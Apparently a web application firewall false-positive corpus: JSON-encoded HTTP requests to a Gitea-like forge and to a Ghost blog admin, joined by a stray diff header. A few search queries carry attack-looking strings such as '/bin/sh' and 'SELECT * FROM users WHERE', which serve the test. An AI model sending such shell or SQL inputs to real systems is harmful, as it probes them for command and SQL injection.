{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 105", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=release%20notes", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=release%20notes&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/alice/tools/tags?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=org.apache.commons.logging&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
-762
View File
@@ -1,762 +0,0 @@
# Ordinary Ghost 6.76.0 requests that the Core Rule Set must let through at the
# defaults and while bodies are read. They were recorded from a Ghost driven by
# a headless Chrome, signed out, as a member and in the admin, and by curl on
# the Content API and the Admin API. Each line is one request as JSON. Names,
# addresses, passwords and keys are invented. The browser's User-Agent is an
# ordinary Chrome's. A body or a multipart part that is not text is written as
# base64.
{"method": "GET", "target": "/ghost/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index-BiSgg_Os.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/react-DFHZ-wBR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/react-dom-SnO3ZWom.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/jsx-runtime-C_PdNFfk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/framework-provider-DCOh-eaQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hooks-CBIG5v-t.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/src-CoPg2ZdF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/update-queries-1CGdpz7p.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/users-B0PWKMfp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/members-DttKKvqe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-CSTDfrUo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-tinybird-token-CzoVNSUR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-tinybird-query-CluOFAVL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/config-xRSk2505.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preload-helper-DSa19gJg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index-C3xC5ZJE.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chunk-6KYCQHYJ-KAiPDQaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/shade-context-I3ZE4fr1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/types-tDCnhhI9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stack-Cw1NkXQD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/router-provider-Ck_ALVt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/inline-cOcQBh0m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-Bh3jlIZm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lazy-component-B6EO-LGC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-feature-flag-B2AxquJq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/schemas-CktAcdb3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-BML9cxFI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D3v6eoke.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/es2015-LSK0Wp3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DItC4Fk2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D9kRdzHX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-6DqAnDJT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tooltip-DkgXrCfH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-C43r8Yet.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/button-rpPCYpff.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/accordion-D5n73vMe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/a-large-small-t76h0K2a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/activity-DF_5iIbe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/power-Dm59e8zN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/archive-C7eG93IF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-down-CyS8-WaT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-left-BO9d1zfd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-right-left-RUZQQxLM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-right-DS949Nuj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/star-off-CTupjXjv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-up-right-B1Aj0Uhl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-up-DgXkz7LS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/at-sign-C4B0lVaG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/badge-check-VTMH985H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ban-Dcu1gwnk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/waypoints-q7i1re5i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/file-pen-CDIBdMvj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/underline-iyhoxAXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/book-open-0h559276.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/rocket-CA4Xy7UD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ticket-DZPWSm3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/panel-right-DSxQPvgK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-filter-plus-DfUqgJ8X.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chart-no-axes-column-BrpLYwIe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/check-BiQqsmBo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-left-wJGECQn7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-right-vFyqDRE3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
